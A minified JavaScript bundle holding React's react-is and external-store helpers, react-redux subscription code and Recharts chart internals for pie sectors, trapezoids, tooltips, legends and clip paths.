EB({offset:r,pieSettings:t,displayedData:e,cells:n})}),BS={exports:{}},Ce={};/** * @license React * react-is.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var H0=Symbol.for("react.transitional.element"),K0=Symbol.for("react.portal"),Hd=Symbol.for("react.fragment"),Kd=Symbol.for("react.strict_mode"),qd=Symbol.for("react.profiler"),Yd=Symbol.for("react.consumer"),Gd=Symbol.for("react.context"),Xd=Symbol.for("react.forward_ref"),Zd=Symbol.for("react.suspense"),Qd=Symbol.for("react.suspense_list"),Jd=Symbol.for("react.memo"),ef=Symbol.for("react.lazy"),S$=Symbol.for("react.view_transition"),z$=Symbol.for("react.client.reference");function bn(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case H0:switch(e=e.type,e){case Hd:case qd:case Kd:case Zd:case Qd:case S$:return e;default:switch(e=e&&e.$$typeof,e){case Gd:case Xd:case ef:case Jd:return e;case Yd:return e;default:return t}}case K0:return t}}}Ce.ContextConsumer=Yd;Ce.ContextProvider=Gd;Ce.Element=H0;Ce.ForwardRef=Xd;Ce.Fragment=Hd;Ce.Lazy=ef;Ce.Memo=Jd;Ce.Portal=K0;Ce.Profiler=qd;Ce.StrictMode=Kd;Ce.Suspense=Zd;Ce.SuspenseList=Qd;Ce.isContextConsumer=function(e){return bn(e)===Yd};Ce.isContextProvider=function(e){return bn(e)===Gd};Ce.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===H0};Ce.isForwardRef=function(e){return bn(e)===Xd};Ce.isFragment=function(e){return bn(e)===Hd};Ce.isLazy=function(e){return bn(e)===ef};Ce.isMemo=function(e){return bn(e)===Jd};Ce.isPortal=function(e){return bn(e)===K0};Ce.isProfiler=function(e){return bn(e)===qd};Ce.isStrictMode=function(e){return bn(e)===Kd};Ce.isSuspense=function(e){return bn(e)===Zd};Ce.isSuspenseList=function(e){return bn(e)===Qd};Ce.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===Hd||e===qd||e===Kd||e===Zd||e===Qd||typeof e=="object"&&e!==null&&(e.$$typeof===ef||e.$$typeof===Jd||e.$$typeof===Gd||e.$$typeof===Yd||e.$$typeof===Xd||e.$$typeof===z$||e.getModuleId!==void 0)};Ce.typeOf=bn;BS.exports=Ce;var C$=BS.exports,Ab=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",_b=null,Jf=null,FS=e=>{if(e===_b&&Array.isArray(Jf))return Jf;var t=[];return p.Children.forEach(e,n=>{wt(n)||(C$.isFragment(n)?t=t.concat(FS(n.props.children)):t.push(n))}),Jf=t,_b=e,t};function WS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>Ab(i)):r=[Ab(t)],FS(e).forEach(i=>{var a=mo(i,"type.displayName")||mo(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var US=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,VS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(VS);var P$=VS.isPlainObject;const E$=jr(P$);var Ob,Tb,Mb,Lb,Ib;function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Rb(e){for(var t=1;t{var a=n-r,o;return o=Ke(Ob||(Ob=Ss(["M ",",",""])),e,t),o+=Ke(Tb||(Tb=Ss(["L ",",",""])),e+n,t),o+=Ke(Mb||(Mb=Ss(["L ",",",""])),e+n-a/2,t+i),o+=Ke(Lb||(Lb=Ss(["L ",",",""])),e+n-a/2-r,t+i),o+=Ke(Ib||(Ib=Ss(["L ",","," Z"])),e,t),o},T$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},M$=e=>{var t=rn(e,T$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=Sd(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var K=m.current.getTotalLength();K&&x(K)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Ve("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",gu({},At(t),{className:k,d:$b(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,O=b.current,_=w.current,T="0px ".concat(h===-1?1:h,"px"),E="".concat(h,"px 0px"),U=nN(["strokeDasharray"],u,c);return p.createElement(Nd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},K=>{var R=gt(S,i,K),I=gt(N,a,K),F=gt(z,o,K),B=gt(O,n,K),V=gt(_,r,K);m.current&&(g.current=R,y.current=I,v.current=F,b.current=B,w.current=V);var $=K>0?{transition:U,strokeDasharray:E}:{strokeDasharray:T};return p.createElement("path",gu({},At(t),{className:k,d:$b(B,V,R,I,F),ref:m,style:Rb(Rb({},$),t.style)}))})},L$=["option","shapeType","activeClassName"];function I$(e,t){if(e==null)return{};var n,r,i=D$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(K4({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},K$=e=>{var t=Qe();return(n,r)=>i=>{e==null||e(n,r,i),t(Z7())}},q$=(e,t,n)=>{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(Q7({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function HS(e){var{tooltipEntrySettings:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(q7(t)):i.current!==t&&n(Y7({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(G7(i.current)),i.current=null)},[n]),null}function Y$(e){var{legendPayload:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}function G$(e){var{legendPayload:t}=e,n=Qe(),r=pe(ze),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}var ep,X$=()=>{var[e]=p.useState(()=>ho("uid-"));return e},Z$=(ep=A2.useId)!==null&&ep!==void 0?ep:X$;function Q$(e,t){var n=Z$();return t||(e?"".concat(e,"-").concat(n):n)}var J$=p.createContext(void 0),KS=e=>{var{id:t,type:n,children:r}=e,i=Q$("recharts-".concat(n),t);return p.createElement(J$.Provider,{value:i},r(i))},eB={cartesianItems:[],polarItems:[]},qS=Ut({name:"graphicalItems",initialState:eB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:De()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:De()},removeCartesianGraphicalItem:{reducer(e,t){var n=_n(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:De()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:De()},removePolarGraphicalItem:{reducer(e,t){var n=_n(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:De()}}}),{addCartesianGraphicalItem:tB,replaceCartesianGraphicalItem:nB,removeCartesianGraphicalItem:rB,addPolarGraphicalItem:iB,removePolarGraphicalItem:aB}=qS.actions,sB=qS.reducer,oB=e=>{var t=Qe(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(tB(e)):n.current!==e&&t(nB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(rB(n.current)),n.current=null)},[t]),null},lB=p.memo(oB);function cB(e){var t=Qe();return p.useLayoutEffect(()=>(t(iB(e)),()=>{t(aB(e))}),[t,e]),null}var uB=["key"],dB=["onMouseEnter","onClick","onMouseLeave"],fB=["id"],pB=["id"];function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ye(e){for(var t=1;tWS(e.children,Wd),[e.children]),n=pe(r=>k$(r,e.id,t));return n==null?null:p.createElement(G$,{legendPayload:n})}var yB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:md(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})}),bB=(e,t)=>e>t?"start":eZt(typeof t=="function"?t(e):t,n,n*.8),jB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=oN(a,o),c=i+Zt(e.cx,a,a/2),u=r+Zt(e.cy,o,o/2),d=Zt(e.innerRadius,l,0),f=wB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},kB=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},NB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ve("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=tf(t,uB);return p.createElement(Pa,si({},i,{type:"linear",className:n}))},SB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Ve("recharts-pie-label-text",v$(e));return p.createElement(W0,si({},t,{alignmentBaseline:"middle",className:i}),r)};function zB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=mr(n),c=po(i),u=po(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=et(m.cx,m.cy,m.outerRadius+d,x),y=Ye(Ye(Ye(Ye({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:bB(g.x,m.cx)},g),v=Ye(Ye(Ye(Ye({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[et(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(pi,{zIndex:Rt.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Wt,null,a&&NB(a,v),SB(i,y,Le(m,o))))});return p.createElement(Wt,{className:"recharts-pie-labels"},f)}function CB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(MS,{label:i}):p.createElement(zB,{sectors:t,props:n,showLabels:r})}function PB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=pe(Va),c=pe(oS),u=pe(DD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=tf(i,dB),x=H$(d,i.dataKey,o),g=K$(m),y=q$(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=Ye(Ye({},v),{},{stroke:v.stroke,tabIndex:-1,[Ik]:b,[Dk]:o});return p.createElement(Wt,si({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},H_(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(V$,si({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function EB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=kB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Le(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Le(N,u,0);return S+(ue(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Le(S,u,0),O=Le(S,d,N),_=jB(n,a,S),T=(ue(z)?z:0)/w,E,U=Ye(Ye({},S),i&&i[N]&&i[N].props);N?E=k.endAngle+It(h)*g*(z!==0?1:0):E=l;var K=E+It(h)*((z!==0?m:0)+T*b),R=(E+K)/2,I=(_.innerRadius+_.outerRadius)/2,F=[{name:O,value:z,payload:U,dataKey:u,type:f,graphicalItemId:n.id}],B=et(_.cx,_.cy,I,R);return k=Ye(Ye(Ye(Ye({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:F,midAngle:R,middleRadius:I,tooltipPosition:B},U),_),{},{value:z,dataKey:u,startAngle:E,endAngle:K,payload:U,paddingAngle:It(h)*g}),k})}return j}function AB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(a$,{value:t?i:void 0},r)}function _B(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=Sd(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(AB,{showLabels:!g,sectors:i},p.createElement(Nd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,O)=>{var _=x&&x[O],T=O>0?mo(z,"paddingAngle",0):0;if(_){var E=gt(_.endAngle-_.startAngle,z.endAngle-z.startAngle,w),U=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+E+T});k.push(U),N=U.endAngle}else{var{endAngle:K,startAngle:R}=z,I=gt(0,K-R,w),F=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+I+T});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Wt,null,p.createElement(PB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(CB,{showLabels:!g,sectors:i,props:t}),t.children)}var OB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Rt.area};function TB(e){var{id:t}=e,n=tf(e,fB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>WS(e.children,Wd),[e.children]),l=pe(d=>N$(d,t,o)),c=p.useRef(null),u=Ve("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Wt,{tabIndex:a,className:u})):p.createElement(pi,{zIndex:e.zIndex},p.createElement(yB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Wt,{tabIndex:a,className:u},p.createElement(_B,{props:Ye(Ye({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function YS(e){var t=rn(e,OB),{id:n}=t,r=tf(t,pB),i=mr(r);return p.createElement(KS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(cB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(gB,si({},r,{id:a})),p.createElement(TB,si({},r,{id:a}))))}YS.displayName="Pie";var MB=["points"];function Ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function tp(e){for(var t=1;t{var y,v,b=tp(tp(tp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(BB,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(pi,{zIndex:u},p.createElement(Wt,bu({className:r},h),m))}function Vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hb(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),GB=L([YB,Sr,zr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),q0=()=>pe(GB),XB=()=>pe(WD);function Kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function np(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=np(np(np({},l),po(i)),dx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(LS,c),p.createElement(Wt,{className:"recharts-active-dot",clipPath:o},u)};function qb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Rt.activeDot}=e,l=pe(Va),c=XB();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return wt(u)?null:p.createElement(pi,{zIndex:o},p.createElement(eF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var ZS=e=>{var{chartData:t}=e,n=Qe(),r=In();return p.useEffect(()=>r?()=>{}:(n(sb(t)),()=>{n(sb(void 0))}),[t,n,r]),null},Yb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},QS=Ut({name:"brush",initialState:Yb,reducers:{setBrushSettings(e,t){return t.payload==null?Yb:t.payload}}}),{setBrushSettings:TV}=QS.actions,tF=QS.reducer,nF={dots:[],areas:[],lines:[]},JS=Ut({name:"referenceElements",initialState:nF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=_n(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=_n(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=_n(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:MV,removeDot:LV,addArea:IV,removeArea:DV,addLine:RV,removeLine:$V}=JS.actions,rF=JS.reducer,iF=p.createContext(void 0),aF=e=>{var{children:t}=e,[n]=p.useState("".concat(ho("recharts"),"-clip")),r=q0();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(iF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},sF={},e3=Ut({name:"errorBars",initialState:sF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:BV,replaceErrorBar:FV,removeErrorBar:WV}=e3.actions,oF=e3.reducer;function t3(e,t){var n,r,i=pe(u=>Er(u,e)),a=pe(u=>Ar(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:x4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:v4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function lF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=q0(),{needClipX:a,needClipY:o,needClip:l}=t3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function cF(e){var t=po(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var uF={};/** * @license React * use-sync-external-store-with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var Jo=p;function dF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var fF=typeof Object.is=="function"?Object.is:dF,pF=Jo.useSyncExternalStore,mF=Jo.useRef,hF=Jo.useEffect,xF=Jo.useMemo,vF=Jo.useDebugValue;uF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=mF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=xF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,fF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=pF(e,a[0],a[1]);return hF(function(){o.hasValue=!0,o.value=l},[l]),vF(l),l};function gF(e){e()}function yF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){gF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var Gb={notify(){},get:()=>[]};function bF(e,t){let n,r=Gb,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=yF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=Gb)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var wF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",jF=wF(),kF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",NF=kF(),SF=()=>jF||NF?p.useLayoutEffect:p.useEffect,zF=SF();function Xb(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function CF(e,t){if(Xb(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=bF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);zF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||EF;return p.createElement(l.Provider,{value:a},t)}var _F=AF,OF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function TF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function n3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(OF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!CF(e[r],t[r]))return!1}else if(!TF(e[r],t[r]))return!1;return!0}function Y0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:GS}function G0(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:GS}var r3=(e,t,n)=>B4(e,"xAxis",Y0(e,t),n),i3=(e,t,n)=>$4(e,"xAxis",Y0(e,t),n),a3=(e,t,n)=>B4(e,"yAxis",G0(e,t),n),s3=(e,t,n)=>$4(e,"yAxis",G0(e,t),n),MF=L([ze,r3,a3,i3,s3],(e,t,n,r,i)=>Jn(e,"xAxis")?Kc(t,r,!1):Kc(n,i,!1)),LF=(e,t)=>t,o3=L([y4,LF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),l3=e=>{var t=ze(e),n=Jn(t,"xAxis");return n?"yAxis":"xAxis"},IF=(e,t)=>{var n=l3(e);return n==="yAxis"?G0(e,t):Y0(e,t)},DF=(e,t,n)=>N4(e,l3(e),IF(e,t),n),RF=L([o3,DF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=u0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),$F=L([ze,r3,a3,i3,s3,RF,PI,MF,o3,DI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return 